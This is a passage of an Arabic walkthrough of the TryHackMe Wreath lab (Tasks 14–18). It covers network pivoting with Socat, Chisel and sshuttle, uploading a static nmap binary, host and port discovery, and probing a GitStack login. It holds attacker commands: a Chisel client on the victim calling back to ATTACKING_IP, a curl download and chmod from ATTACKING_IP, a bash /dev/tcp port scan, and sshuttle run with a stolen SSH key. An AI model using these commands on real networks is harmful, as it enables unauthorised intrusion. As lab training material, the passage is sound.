  4. الوسيط بمرره للهدف الداخلي.
  5. السحر: وصلنا للهدف بدون ما نفتح ولا بورت جديد (Listener) على الوسيط يسمع من الخارج! كله اتصالات طالعة (Outgoing) وهي أقل إثارة للشكوك.

إدارة العمليات (Job Control) 🧹

بما إننا استخدمنا الرمز & في آخر كل أمر، البرامج شغالة في الخلفية. كيف نوقفها لما نخلص؟

الأوامر:

1️⃣ عرض المهام الجارية

jobs

أمر بفرجيك شو البرامج اللي شغالة بالخلفية حالياً وأرقامها (مثلاً [1], [2]).

2️⃣ إيقاف مهمة محددة

kill %1
📖 الشرح:
  • kill: أمر القتل (الإيقاف الإجباري).
  • %1: يعني اقتل المهمة رقم 1 (اللي طلعتلك بأمر jobs).

📝 ملخص سريع

🎯 متى نستخدم Socat؟

  • عندما نريد ترحيل Reverse Shell من هدف داخلي
  • عندما نريد توجيه منفذ معين (Port Forwarding)
  • عندما نحتاج طريقة صامتة لا تفتح منافذ على الوسيط
  • عندما نريد اتصالات متعددة (باستخدام fork)
💡 نصيحة ختامية:
Socat أداة قوية ومرنة جداً. تذكر دائماً:
  • استخدم fork للاتصالات المتعددة
  • استخدم reuseaddr لاستقرار الاتصال
  • استخدم & لتشغيل الأمر في الخلفية
  • استخدم jobs و kill لإدارة العمليات

Task 14: Pivoting with Chisel 🚀

أداة قوية مكتوبة بـ Golang لتوجيه الترافيك عبر HTTP

المقدمة: ما هي Chisel؟

Chisel هي أداة مكتوبة بلغة برمجة اسمها Golang.

💡 ليش هذا الاشي حلو؟
لأن برامج Go بتشتغل كـ "ملف واحد" (Static Binary) وما بتحتاج مكتبات خارجية أو تنصيب معقد. بس ارمي الملف وشغله!
🎯 وظيفتها:
بتعمل تغليف (Encapsulation) للبيانات وبترسلها عبر بروتوكول HTTP، وهذا بخليها تعبر من الجدران النارية (Firewalls) بسهولة لأنها بتبين كأنها تصفح إنترنت عادي.

الخطوة 1️⃣: التجهيز (تحميل وتشغيل الأداة)

قبل ما نبلش، لازم نحمل الأداة على جهازنا ونفك ضغطها، وبعدين نرفع نسخة منها للجهاز الضحية.

الأوامر على جهازك (Attacker):

gunzip chisel_1.7.3_linux_amd64.gz
chmod +x chisel_1.7.3_linux_amd64
📖 شرح الأوامر:
  • gunzip: أداة لفك ضغط الملفات اللي بتنتهي بـ .gz.
  • chmod +x: (Change Mode + Executable) عشان نعطي الملف صلاحية إنه يشتغل كبرنامج.

الخطوة 2️⃣: الخادم والعميل (Server & Client)

أداة Chisel فيها مودين (وضعين) للتشغيل:

1️⃣ Server (خادم)

الجهاز اللي بيستقبل الاتصال.

2️⃣ Client (عميل)

الجهاز اللي بيبدأ الاتصال.

ممكن تشوف قائمة المساعدة عشان تفهم الخيارات:

./chisel server --help

السيناريو 1️⃣: Reverse SOCKS Proxy (الأهم والأشهر!)

🎯 الهدف:
بدنا نعمل نفق (Proxy) يسمح لنا ندخل لعمق الشبكة، وبدنا الجهاز الضحية هو اللي يتصل فينا (Reverse) عشان نتجاوز الجدار الناري (Firewall).

1️⃣ على جهازك أنت (Attacker - بصفته Server):

./chisel server -p 1337 --reverse &
📖 شرح الأمر:
  • server: شغل الأداة بوضع الخادم.
  • -p 1337: (Port) اسمع على بورت رقم 1337.
  • --reverse: (مهمة جداً) اسمح للعملاء (Clients) إنهم يعملوا توجيه عكسي للمنافذ (يعني الضحية هو اللي يفتح النفق لعندي).
  • &: شغل الأمر بالخلفية.

2️⃣ على الجهاز الضحية (Target - بصفته Client):

./chisel client ATTACKING_IP:1337 R:socks &
📖 شرح الأمر:
  • client: شغل الأداة بوضع العميل.
  • ATTACKING_IP:1337: اتصل بجهاز الهكر (أنت) على البورت اللي فتحناه.
  • R:socks:
    • R: (Remote) تعني "عكسي".
    • socks: بتأمر الأداة تفتح SOCKS Proxy داخلي.
✨ النتيجة:
الآن صار عندك نفق مشفر! Chisel رح تفتح بورت افتراضي عندك (غالباً 1080) أي اشي بترميه فيه، بيطلع من عند الضحية.
⚠️ ملاحظة مهمة لـ Proxychains:
لما بدك تستخدم أدوات زي Nmap عبر هذا النفق، لازم تعدل ملف /etc/proxychains.conf وتضيف:
socks5  127.0.0.1 1080

انتبه إننا استخدمنا socks5 مش socks4، والبورت هو 1080 مش 1337.

السيناريو 2️⃣: Remote Port Forward (توجيه منفذ محدد)

💡 الفرق عن اللي قبله:
الـ SOCKS Proxy بيخليك توصل لكل الشبكة. هذا السيناريو بيخليك توصل لخدمة محددة (مثلاً SSH) على جهاز معين جوا الشبكة.

الأمر على جهازك (Attacker):

نفس الأمر السابق:

./chisel server -p 1337 --reverse &

الأمر على الجهاز الضحية (Target):

./chisel client ATTACKING_IP:1337 R:2222:172.16.0.10:22 &

خلينا نفكك هذا السطر المعقد R:2222:172.16.0.10:22:

  • R: (Remote) التوجيه عكسي.
  • 2222: هذا البورت رح يفتح على جهازك أنت (Attacker).
  • 172.16.0.10: هذا الـ IP للجهاز الهدف العميق (مثلاً قاعدة بيانات أو سيرفر داخلي).
  • 22: هذا البورت اللي بدنا نوصله في الهدف.
✨ الخلاصة:
أنت رح تشبك على localhost:2222 بجهازك → Chisel رح تنقلك عبر النفق → وتوصلك لـ 172.16.0.10:22.

السيناريو 3️⃣: Local Port Forward (توجيه محلي)

📌 الفكرة العامة (The Concept):
في هذا السيناريو، أنت (الهكر) اللي بتبادر بالاتصال وبتروح بتشبك على الجهاز المخترق (الضحية).

يعني الاتصال بيطلع من عندك → لعند الضحية.

(هذا عكس الـ Reverse اللي الضحية هو اللي بييجيك).

الخطوة 1: تجهيز المستقبل (على جهاز الضحية)

أول شي، لازم نجهز الجهاز المخترق (Compromised Target) عشان يستقبل اتصالنا.

./chisel server -p LISTEN_PORT
🔍 الشرح:
  • ./chisel: شغل برنامج chisel.
  • server: شغله بوضع "الخادم" (يعني خليك واقف واستنى حدا يشبك عليك).
  • -p: (Port) حدد المنفذ اللي بدك Chisel يسمع عليه.
  • LISTEN_PORT: هذا الرقم اللي رح يشبك عليه الهكر (مثلاً 8000).
💡 بالمختصر:
بنقول للضحية "افتح بورت 8000 واستناني جاييك".

الخطوة 2: بدء الاتصال (على جهازك أنت)

هسا من جهازك (Attacking Machine)، بدنا نشبك على الضحية ونقله: "يا ضحية، خذ أي اشي ببعثه، ووصله للهدف النهائي".

./chisel client LISTEN_IP:LISTEN_PORT LOCAL_PORT:TARGET_IP:TARGET_PORT
🔍 الشرح:
هذا الأمر مقسوم لقسمين: "كيف نشبك؟" و "شو ننقل؟".
  1. ./chisel client: شغل البرنامج بوضع "العميل" (اللي بيبدأ الاتصال).
  2. LISTEN_IP:LISTEN_PORT: بيانات الجهاز المخترق (الضحية).
    • يعني: وين هو موجود؟ (IP تبعه) وعلى أي بورت مشغل Chisel؟ (اللي حددناه بالخطوة 1).
  3. LOCAL_PORT: بيانات جهازك أنت.
    • أي بورت بدك تفتحه عندك عشان تستخدمه؟ (مثلاً 2222).
  4. TARGET_IP:TARGET_PORT: بيانات الهدف النهائي.
    • مين الجهاز اللي جوا الشبكة اللي بدك توصله؟ وشو الخدمة اللي بدك ياها منه؟

💡 مثال تطبيقي (لفهم الأرقام)

خلينا نطبق على المثال اللي بالنص عشان تتخيلها صح:

  • جهاز الضحية (الوسيط): 172.16.0.5 (ومشغل Chisel على بورت 8000).
  • جهاز الهدف (المخفي): 172.16.0.10 (وعليه خدمة SSH بورت 22).
  • جهازك أنت: بدك تفتح بورت 2222 عشان توصل للهدف.

الأمر اللي رح تكتبه:

./chisel client 172.16.0.5:8000 2222:172.16.0.10:22
📖 تفسير الأمر بلغة البشر:
"يا Chisel..
  1. روح اشبك على الضحية اللي عنوانه 172.16.0.5 على بورت 8000.
  2. وبعد ما تشبك، افتحلي عندي (على جهازي) بورت 2222.
  3. أي اشي أنا بكتبه بورت 2222.. بدي ياك تمسكه، تمرره عبر الضحية، وتوصله للجهاز الهدف 172.16.0.10 على بورت 22".

التنظيف (Cleanup) 🧹

مثل ما تعلمنا بـ Socat، الأوامر شغالة بالخلفية. بس تخلص شغلك:

1️⃣ عرض العمليات النشطة

jobs

اكتب jobs عشان تشوف العمليات.

2️⃣ إنهاء عملية محددة

kill %1

اكتب kill %1 (أو رقم العملية) عشان تنهيها وتسكر النفق.

📝 ملخص سريع

🎯 متى نستخدم Chisel؟

  • عندما نريد تجاوز الجدران النارية باستخدام HTTP
  • عندما نحتاج SOCKS Proxy للوصول لشبكة كاملة
  • عندما نريد توجيه منفذ محدد لخدمة معينة
  • عندما نحتاج أداة سهلة التثبيت (ملف واحد)
💡 نصيحة ختامية:
Chisel أداة قوية ومرنة جداً. تذكر دائماً:
  • استخدم --reverse للاتصالات العكسية (الأكثر شيوعاً)
  • البورت الافتراضي لـ SOCKS هو 1080
  • استخدم socks5 في ملف proxychains
  • استخدم & لتشغيل الأمر في الخلفية

Task 15: sshuttle 🌉

أداة VPN-like لتوجيه الترافيك بالكامل عبر SSH

مقدمة: الجسر الكامل

وصلنا للأداة الأخيرة في هذا القسم، وهي أداة مميزة جداً وتختلف عن كل ما سبق: sshuttle.

💡 الفرق الجوهري:
إذا كانت الأدوات السابقة "تحفر نفقاً"، فإن sshuttle تقوم بمد "جسر كامل" يجعلك تشعر وكأنك جالس داخل الشبكة تماماً.

ما هي sshuttle؟ ولماذا هي مميزة؟

الأدوات السابقة (مثل Chisel و SSH Tunneling) كانت تجبرنا على استخدام Proxychains مع كل أمر، أو إعدادات معقدة في المتصفح.

أما sshuttle ففكرتها مختلفة:

🔐 محاكي VPN

تعمل وكأنها برنامج VPN. تقوم بإنشاء "واجهة اتصال" جديدة في جهازك، وتوجه حركة المرور تلقائياً عبر اتصال SSH إلى الشبكة الهدف.

🚫 لا تحتاج Proxychains

بمجرد تشغيلها، يمكنك استخدام أي أداة (تصفح، Nmap، اتصال مباشر) وكأنك متصل بسلك مباشر مع الأجهزة الداخلية!

🔒 التشفير

بما أنها تعمل عبر SSH، فكل بياناتك مشفرة وآمنة.

✨ المميزات الرئيسية:
  • لا حاجة لـ Proxychains مع كل أمر
  • يعمل تلقائياً مع جميع التطبيقات والأدوات
  • كأنك متصل فعلياً بالشبكة الداخلية
  • مشفر بالكامل عبر SSH
  • سهل الاستخدام والإعداد

الشروط والعيوب (Drawbacks)

رغم أنها رائعة، إلا أن لها شروطاً قد تمنعك من استخدامها أحياناً:

⚠️ الشروط المطلوبة:
  • فقط Linux: تعمل عادة عندما يكون جهاز الضحية (الوسيط) يعمل بنظام Linux.
  • تتطلب Python: يجب أن يكون جهاز الضحية مثبتاً عليه لغة Python.
  • صلاحيات SSH: يجب أن تملك حساب SSH للدخول إلى جهاز الضحية (كلمة مرور أو مفتاح).

التثبيت والاستخدام الأساسي

1️⃣ التثبيت

أولاً، نثبت الأداة على جهازنا (Kali):

sudo apt install sshuttle

2️⃣ السيناريو البسيط (بكلمة مرور)

لنفترض أنك تملك اسم مستخدم وكلمة مرور لجهاز الضحية 172.16.0.5، وتريد الوصول للشبكة الداخلية 172.16.0.0/24.

📌 الأمر الأساسي:

sshuttle -r user@172.16.0.5 172.16.0.0/24
📖 شرح الأجزاء:
  • -r: تعني Remote، ويتبعها اسم المستخدم وعنوان الضحية.
  • 172.16.0.0/24: هي الشبكة التي تريد الوصول إليها (Subnet).
✅ النتيجة:
بعد تشغيل الأمر وكتابة كلمة المرور، سيظهر لك Connected to server. الآن جهازك متصل بالشبكة الداخلية بالكامل!
💡 خيار ذكي:
يمكنك استخدام الخيار -N بدلاً من كتابة عنوان الشبكة، ليقوم هو بمحاولة اكتشاف الشبكة تلقائياً، لكنه لا ينجح دائماً.
sshuttle -r user@172.16.0.5 -N

الاستخدام مع المفاتيح (Key-Based Authentication)

في عالم الاختراق، غالباً ما نسرق "مفتاح SSH" ولا نملك كلمة المرور. لكن sshuttle لا تملك خياراً مباشراً لاستخدام المفتاح.

💡 الحل:
نستخدم خيار --ssh-cmd لنخبر الأداة كيف تتصل.

🔑 الأمر مع المفتاح:

sshuttle -r user@172.16.0.5 --ssh-cmd "ssh -i private_key" 172.16.0.0/24
📖 الشرح:
هنا نحن نقول للأداة: "عندما تتصلين، استخدمي أمر ssh العادي مع خيار -i لتحديد ملف المفتاح الخاص".

خطأ "Broken Pipe" القاتل ⚠️

قد تواجه مشكلة شائعة جداً وتفشل الأداة مع رسالة خطأ:

🚨 رسالة الخطأ:
client: fatal: server died with error code 255

السبب:

أنت تحاول توجيه الشبكة 172.16.0.0/24 بالكامل عبر النفق. لكن انتظر! جهاز الضحية 172.16.0.5 هو جزء من هذه الشبكة أيضاً!

⚠️ المشكلة - حلقة مفرغة (Loop):
هذا يخلق "حلقة مفرغة"، حيث تحاول الأداة إرسال بيانات الاتصال بالضحية... عبر الضحية نفسها، فينقطع الاتصال!

الحل: استثناء الضحية من التوجيه

استخدم الخيار -x لاستثناء عنوان الضحية من التوجيه:

✅ الأمر الصحيح:

sshuttle -r user@172.16.0.5 172.16.0.0/24 -x 172.16.0.5
📖 الشرح:
  • -x 172.16.0.5: استثناء (eXclude) هذا العنوان من التوجيه.
✨ النتيجة:
الآن الأداة ستوجه كل الشبكة عبر النفق ما عدا الاتصال بجهاز الضحية نفسه سيبقى مباشراً، وبذلك يستقر الاتصال.

📝 ملخص سريع

🎯 متى نستخدم sshuttle؟

  • عندما يكون الهدف نظام Linux مع Python
  • عندما تريد اتصال "شفاف" بالشبكة دون الحاجة لـ Proxychains
  • عندما تملك صلاحيات SSH (كلمة مرور أو مفتاح)
  • عندما تريد استخدام أدوات متعددة دون إعدادات معقدة

✅ المميزات

  • سهلة الاستخدام
  • لا تحتاج Proxychains
  • اتصال شفاف كـ VPN
  • مشفرة عبر SSH

⚠️ العيوب

  • فقط Linux
  • تحتاج Python
  • تحتاج صلاحيات SSH
  • احذر من حلقة Loop!
💡 نصيحة ختامية:
sshuttle هي أداة رائعة عندما تتوفر شروطها. تذكر دائماً استثناء جهاز الضحية من التوجيه باستخدام -x لتجنب خطأ الـ Broken Pipe!

🎉 Task 16: خاتمة قسم Pivoting 🎉

مبروك! لقد أنهيت أحد أصعب الأقسام

هذا القسم كان مليئاً بالنظريات الدسمة (Theory-heavy)

الخلاصة الكبرى (The Big Takeaway)

الـ Pivoting بحر واسع جداً. ما تعلمته هنا هو الطرق الأساسية والأكثر شيوعاً، لكن هناك طرق متقدمة أخرى لم نغطيها (مثل التلاعب بـ iptables أو Windows Firewall، أو تعديل Routing Table يدوياً).

✅ الخبر السار:
لكن لا تقلق، الأدوات التي معك الآن كافية جداً للبدء والعمل في معظم السيناريوهات الحقيقية!

ملخص أدوات "حقيبة المخترق" (Tools Recap)

لترتيب أفكارك، إليك وظيفة كل أداة في جملة واحدة:

🔗 Proxychains & FoxyProxy

أدوات لا تصنع النفق، بل تستخدمه. هي التي توجه أدواتك ومتصفحك للمرور عبر المنافذ التي فتحتها.

🔐 SSH

الأداة الكلاسيكية. تصنع أنفاقاً (Port Forwards) وبروكسي (Proxies) بسهولة إذا كان المنفذ 22 مفتوحاً.

💻 plink.exe

بديل SSH لأجهزة Windows القديمة. نستخدمها لعمل اتصال عكسي (Reverse SSH).

🃏 Socat

"الجوكر". ممتاز لإعادة توجيه الاتصالات (Redirecting) وربط نقطتين ببعضهما.

🚀 Chisel

الأداة الحديثة. تفعل نفس ما يفعله SSH (أنفاق وبروكسي) لكن دون الحاجة لصلاحيات SSH على الجهاز، وتعمل عبر HTTP.

🌐 sshuttle

"الـ VPN السريع". أسهل طريقة لعمل بروكسي إذا كان لديك وصول SSH لجهاز Linux. يغنيك عن استخدام Proxychains.

وقت التجربة (Experimentation Time)

الآن هو الوقت المناسب لتجربة كل هذه الأدوات بيدك في المختبر قبل الانتقال للمرحلة التالية.

⚡ نصيحة ذهبية

لا تكتفِ بالقراءة، طبق الأوامر لترسخ في عقلك!

الممارسة العملية هي التي تجعلك تفهم الفروقات الدقيقة بين الأدوات.

تحذير هام جداً (Important Note) ⚠️

بما أنك في شبكة مشتركة مع طلاب آخرين:

⚠️ قاعدة المنافذ (Port Numbers Rule)

إذا استخدمت أداة تتطلب فتح منفذ على الجهاز المخترق (مثل Socat أو Netcatأرجوك استخدم منفذاً أعلى من 15000.

  • لماذا؟ لتتجنب التصادم مع زملائك الذين يتدربون في المراحل الأولى من الغرفة.
  • مثال: بدلاً من استخدام المنفذ 4444، استخدم 15001 أو 20000 أو أي رقم أعلى.
  • فائدة: هذا يضمن بيئة عمل سلسة وخالية من المشاكل لك ولزملائك!

🎯 الخطوة التالية

أنت الآن جاهز للانتقال إلى المرحلة العملية وتطبيق ما تعلمته!

تذكر: الـ Pivoting مهارة تتحسن مع الوقت والممارسة. لا تستعجل، وتدرب كثيراً! 💪


Task 17: Git Server Enumeration

🔍 اكتشاف الشبكة وفحص الخوادم

🛠️ المرحلة الأولى: تجهيز الأدوات (Get nmap ready)

المشكلة: الجهاز اللي اخترقناه (الضحية) ما عليه برنامج nmap. وما بنقدر نعمل apt install لأننا مش أدمن (root) أو ما في إنترنت.

الحل: نجيب نسخة "جاهزة" (Static Binary) من nmap، يعني نسخة بتشتغل فوراً بدون تنصيب، ونرفعها عليه.

1. التحميل وإعادة التسمية (على جهازك أنت - Kali)

أول شي نزل الملف من الرابط الموجود في المهمة. بعدين غير اسمه لاسمك في TryHackMe (عشان الترتيب).

  • افترضنا اسمك: Hero.
  • سمي الملف: nmap-Hero.

2. رفع الملف للضحية (Upload)

نفس الطريقة الكلاسيكية اللي صرنا حافظينها:

أ. على جهازك (Kali):

شغل سيرفر بايثون في المجلد اللي فيه ملف nmap-Hero:

sudo python3 -m http.server 80
  • sudo: صلاحيات لفتح بورت 80.
  • http.server: يعمل جهازك كموقع تحميل ملفات.

ب. على جهاز الضحية (Target Shell):

اسحب الملف وأعطه صلاحية التشغيل:

curl ATTACKING_IP/nmap-Hero -o /tmp/nmap-Hero && chmod +x /tmp/nmap-Hero
  • curl: يا أداة التحميل..
  • ATTACKING_IP: (حط عنوان IP جهازك الخاص بالـ VPN).
  • -o /tmp/nmap-Hero: احفظ الملف في مجلد /tmp (لأن غالباً معناش صلاحية نكتب بمكان ثاني).
  • && chmod +x: وبس تخلص تحميل، حوله لبرنامج قابل للتنفيذ (Executable).

🔍 المرحلة الثانية: فحص الشبكة (Network Discovery)

الآن معنا nmap شغال جوا شبكة الضحية! بدنا نعرف مين جيرانه.

الأمر المطلوب تنفيذه:

./nmap-Hero -sn 10.200.72.1-255 -oN scan-Hero

ملاحظة

تأكد من عنوان الشبكة 10.200.72.x من خلال أمر ip a أو ifconfig على الضحية، الرقم قد يختلف حسب الـ Lab تبعك.

🧐 شرح الأمر بالتفصيل الممل:

  • ./nmap-Hero: شغل برنامج nmap الموجود في المجلد الحالي.
  • -sn: (Scan Null / Ping Scan) هاي أهم جزئية!
    • بتقول لـ Nmap: "لا تفحصي البورتات (Ports) هسا، بس ابعثي Ping وشوفي مين الأجهزة اللي بترد عليكِ إنها (Alive)". هذا الفحص سريع وما بيعمل دوشة كثير.
  • 10.200.72.1-255: افحصي كل الأجهزة من رقم 1 لحد 255 (الشبكة كاملة).
  • -oN scan-Hero: احفظي النتيجة في ملف نصي اسمه scan-Hero عشان نقرأه برواقة.

🧠 المرحلة الثالثة: تحليل الإجابات (Answering Questions)

الآن افتح الملف اللي طلع معك (cat scan-Hero) وركز معي عشان نجاوب الأسئلة.

ملاحظة مهمة جداً (Out of Scope)

المهمة بتقولك استثني (طنش) الأجهزة التالية من العد:

  1. الجهاز اللي آخره .250 (هذا سيرفر الـ OpenVPN).
  2. الجهاز اللي آخره .1 (هذا بوابة الشبكة Gateway تبعت AWS).
  3. الجهاز اللي آخره .200 (هذا الجهاز اللي إحنا عليه حالياً).

السؤال الأول

Excluding the out of scope hosts... how many hosts were discovered active?

(باستثناء الأجهزة المذكورة فوق، كم جهاز اكتشفت إنه شغال؟)

  • كيف تحل: عد كل النتائج اللي طلعتلك بكلمة Host is up، واطرح منهم الـ (.1, .250, .200).
  • مثال: لو طلع معك 5 أجهزة، شيل الـ 3 المستثنين، بضل الجواب 2.

السؤال الثاني

In ascending order, what are the last octets of these host IPv4 addresses?

(بالترتيب التصاعدي، شو هي الأرقام الأخيرة في عناوين IP لهدول الجهازين؟)

  • الشرح: الـ Octet هو الرقم الأخير في الـ IP (مثلاً 10.10.10.55 الرقم هو 55).
  • كيف تحل: شوف الجهازين "الجداد" اللي لقيتهم (غير المستثنين)، واكتب أرقامهم الأخيرة.
  • مثال: لو لقيت 10.200.72.100 و 10.200.72.150، الجواب بيكون: 100, 150.

السؤال الثالث

Scan the hosts -- which one does not return a status of "filtered" for every port?

(افحص الجهازين.. مين فيهم اللي بورتاته مش كلها "Filtered"؟)

الشرح: هون لازم نعمل فحص بورتات (Port Scan) للجهازين اللي لقيناهم.

الأمر:

./nmap-Hero -p- IP_ADDRESS
  • واحد منهم رح يعطيك إن كل البورتات Filtered (يعني عليه Firewall قوي أو طافي).
  • الثاني رح يعطيك بورتات Open أو Closed.

الجواب: اكتب الرقم الأخير (Octet) للجهاز اللي تجاوب معك وطلعلك بورتات مفتوحة.

السؤال الرابع

Which TCP ports (in ascending order, comma separated) below port 15000, are open on the remaining target?

(شو هي البورتات المفتوحة تحت رقم 15000 على هذا الجهاز؟)

  • كيف تحل: من نتيجة الفحص اللي عملته في الخطوة السابقة، شوف قائمة البورتات اللي حالتها Open.
  • توقع: غالباً رح تلاقي بورتات زي 80, 22, 3000, 8080.. الخ. اكتبهم بالترتيب وبينهم فواصل.

السؤال الخامس

Assuming that the service guesses... which of the found services is more likely to contain an exploitable vulnerability?

(بافتراض إن تخمين Nmap للخدمات صحيح، أي خدمة منهم شكلها فيها ثغرة؟)

كيف تفكر كـ Hacker؟ 🕵️♂️

  • بورت 22 (SSH): عادة صعب اختراقه إلا لو معك باسوورد.
  • بورت 80 (HTTP): ممكن، بس عادة الويب سيرفر العادي آمن.
  • بورتات غريبة زي Git, Jenkins, Development Ports (مثل 3000, 5000, 8080): هاي "مصيدة" الـ CTF!
  • المهمة اسمها "Git Server Enumeration". فكرك شو الخدمة اللي بندور عليها؟ 😉

الجواب: غالباً رح يكون اسم الخدمة المتعلقة بـ Git أو Gitea أو ما شابه الموجودة على أحد البورتات.

📚 5 استراتيجيات للفحص (Enumeration Strategies)

مرتبة من الأفضل للأسوأ:

🥇 1. استخدام أدوات محلية عبر الـ Proxy الأفضل

الفكرة: استخدم أدواتك اللي على جهازك (Kali) مباشرة، لكن مرّرها عبر الضحية كـ Proxy.

الميزة: سرعة فائقة، كل الأدوات متاحة، لا حاجة لرفع شي.

المشكلة: يحتاج إعداد Proxy أو Pivot صحيح، وقد لا يشتغل مع كل الأدوات.

🥈 2. Static Binaries جيد جداً

الفكرة: نزل نسخة "جاهزة" من الأداة (مثل nmap) ورفعها على الضحية.

الميزة: لا يحتاج صلاحيات root، يشتغل فوراً.

المشكلة: حجم الملف كبير، وقد يتم اكتشافه من Antivirus.

🥉 3. Bash Scripting متوسط

الفكرة: اكتب سكربت Bash بسيط يعمل Ping Sweep أو Port Scan.

الميزة: ما يحتاج رفع ملفات، الأداة موجودة أصلاً (bash).

المشكلة: بطيء جداً، وما يعطيك تفاصيل دقيقة.

🤔 4. أدوات مثبتة مسبقاً إن وُجدت

الفكرة: استخدم أدوات موجودة أصلاً على الجهاز (مثل Python, Netcat).

الميزة: لا حاجة لرفع شي.

المشكلة: نادراً ما تكون موجودة، والإصدارات قد تكون قديمة.

5. رفع نسخة عادية (Dynamic Binary) الأسوأ

الفكرة: نزل nmap من الريبو الرسمي ورفعه.

المشكلة: يحتاج مكتبات (dependencies) موجودة على النظام، وغالباً ما يشتغل.

الخلاصة: لا تستخدمه أبداً، استخدم Static Binary بدلاً منه.

✨ Easy Wins (الفرص السهلة)

قبل ما تبدأ بالفحص الطويل، جرب تفحص هالأشياء:

1. ARP Cache

شوف الأجهزة اللي الضحية تواصل معها مؤخراً:

arp -a

2. Hosts File

شوف لو في أسماء نطاقات محفوظة محلياً:

cat /etc/hosts

3. DNS Records

إذا في DNS Server، جرب تطلب قائمة بكل الأجهزة:

cat /etc/resolv.conf

🔧 Static vs Dynamic Binaries

Static Binary

التعريف: برنامج يحتوي على كل المكتبات (libraries) اللي يحتاجها داخله.

الميزة: يشتغل على أي نظام لينكس بدون مشاكل.

المشكلة: حجمه كبير (عشرات الميغابايتات).

# مثال: تحميل nmap static wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap

Dynamic Binary

التعريف: برنامج يعتمد على مكتبات خارجية موجودة على النظام.

الميزة: حجمه صغير.

المشكلة: إذا المكتبات ما موجودة، البرنامج ما رح يشتغل.

# كيف تعرف إذا البرنامج Dynamic؟ ldd /path/to/binary # إذا طلعلك قائمة مكتبات، معناها Dynamic # إذا طلعلك "not a dynamic executable"، معناها Static

💻 أمثلة على Bash Scripting

مثال 1: Ping Sweep (فحص الأجهزة الحية)

#!/bin/bash # Ping Sweep على شبكة 10.200.72.x for i in {1..255}; do (ping -c 1 10.200.72.$i | grep "bytes from" &) done # الشرح: # - for loop من 1 لـ 255 # - ping كل عنوان IP مرة واحدة (-c 1) # - اطبع فقط الأجهزة اللي ردت (grep "bytes from") # - & في النهاية يعني شغل بالخلفية (عشان يكون أسرع)

مثال 2: Port Scanning (فحص البورتات)

#!/bin/bash # Port Scan للبورتات الشائعة على جهاز معين for port in 21 22 80 443 3389 8080; do timeout 1 bash -c "echo >/dev/tcp/10.200.72.100/$port" 2>/dev/null && \ echo "Port $port is open" done # الشرح: # - نجرب نفتح اتصال TCP على كل بورت # - timeout 1 يعني استنى ثانية واحدة فقط # - إذا الاتصال نجح، البورت مفتوح # - 2>/dev/null يخفي رسائل الأخطاء

تحذير

السكربتات هاي بطيئة جداً مقارنة بـ nmap. استخدمها فقط كخيار أخير!

🎯 Task 17: Git Server Enumeration - Network Discovery & Port Scanning

🔒 Cybersecurity Training | TryHackMe Wreath Network


Task 18: Git Server Pivoting

🌐 إنشاء نفق VPN للوصول للشبكة الداخلية

🛑 المشكلة التقنية (لماذا sshuttle؟)

قبل أن نبدأ، النص أعطاك نصيحة ذهبية:

"sshuttle is highly recommended... because the firewall on the CentOS target will prove problematic"

الشرح

الجهاز اللي اخترقناه (الـ Web Server) شغال بنظام Linux CentOS، وهذا النظام عليه جدار حماية اسمه firewalld.

لو استخدمنا أدوات مثل socat أو netcat لعمل Port Forwarding، رح نحتاج نفتح بورتات جديدة (Listen Ports) على السيرفر المخترق، وغالباً الـ Firewall رح يمنعنا ونضطر نغير إعداداته وهذا خطر ومزعج.

الحل: أداة sshuttle

هذه الأداة بتعمل عمل الـ VPN. هي بتستخدم اتصال SSH الموجود أصلاً (واللي هو مسموح فيه)، وبتمشي كل الترافيك تبعك من خلاله. ما بتحتاج تفتح بورتات جديدة ولا توجع راسك مع الـ Firewall.

🛠️ الخطوة 1: إعداد الـ Pivot (نفق العبور)

بدنا نربط جهازك (Kali) بالشبكة الداخلية عبر الجهاز المخترق (.200).

1. تثبيت الأداة (إذا لم تكن عندك):

على جهازك الـ Kali، افتح التيرمينال واكتب:

sudo apt update && sudo apt install sshuttle -y

2. تشغيل النفق:

الآن بدنا نشغل الأمر اللي يربطنا بالشبكة. الأمر العام هو:

sshuttle -r user@COMPROMISED_IP SUBNET -v

التفصيل للأمر:

  • sshuttle: اسم البرنامج.
  • -r: اختصار لـ Remote، يعني "مين الجهاز اللي رح يوصلني؟".
  • user@COMPROMISED_IP: اسم المستخدم والـ IP للجهاز اللي اخترقناه سابقاً (الخادم العام Public Server). غالباً في هذا اللاب المستخدم هو root، والـ IP هو الـ Public IP الخاص باللاب.
    • ملاحظة: إذا كان معك مفتاح SSH (ملف .key أو id_rsa)، لازم تضيف خيار: --ssh-cmd "ssh -i id_rsa".
  • SUBNET: هون بنحط عنوان الشبكة الداخلية اللي اكتشفناها في Task 17. (غالباً 10.200.xx.0/24).
  • -v: (Verbose) عشان نشوف تفاصيل الاتصال قدامنا ونتأكد إنه شبك.

مثال تطبيقي (عدل الأرقام حسب جهازك):

sshuttle -r root@10.10.169.100 10.200.72.0/24 --ssh-cmd "ssh -i id_rsa"

نجح الاتصال!

مجرد ما يعطيك Connected، مبروك! جهازك الـ Kali صار يشوف الأجهزة الداخلية 10.200.xx.xx وكأنها جنبه.

🌐 الخطوة 2: استكشاف الخدمة (Discovery)

الآن بما إننا شبكنا، بنقدر نفتح المتصفح (Firefox) في الـ Kali وندخل على الـ IP الداخلي للجهاز الجديد اللي لقيناه في Task 17 (الجهاز اللي كان بورتاته مفتوحة).

1. الدخول للموقع:

اكتب في المتصفح: http://INTERNAL_IP

(الـ INTERNAL_IP هو الـ IP للجهاز "الهدف" الجديد، وليس الجهاز اللي اخترقناه أول مرة).

2. ماذا ترى؟

رح تفتح لك صفحة ويب عليها شعار كبير لبرنامج إدارة Git. اقرأ الاسم المكتوب بالبنط العريض في الصفحة. هذا هو جواب السؤال الأول.

السؤال 1

What is the name of the program running the service?

(ما هو اسم البرنامج اللي بيشغل الخدمة؟)

الجواب

رح تلاقي مكتوب: GitStack

🔐 الخطوة 3: محاولة الدخول (Login)

المهمة بتقولك:

"Head to the login screen... by adding the answer to the previous question at the end of the url"

يعني عشان تروح لصفحة تسجيل الدخول، الرابط بصير هيك:

http://INTERNAL_IP/GitStack/

1. تجربة الـ Default Credentials:

رح تطلعلك صفحة دخول تطلب (Username و Password).

في عالم الاختراق، أول شي بنجربه هو الإعدادات الافتراضية.

جرب:

  • admin / admin
  • admin / password

السؤال بسألك: هل زبطوا معك؟

النص بقول: "Shucks -- it couldn't be that easy, huh?" (يا خسارة، مش بهالسهولة).

السؤال 2

Do these default credentials work (Aye/Nay)?

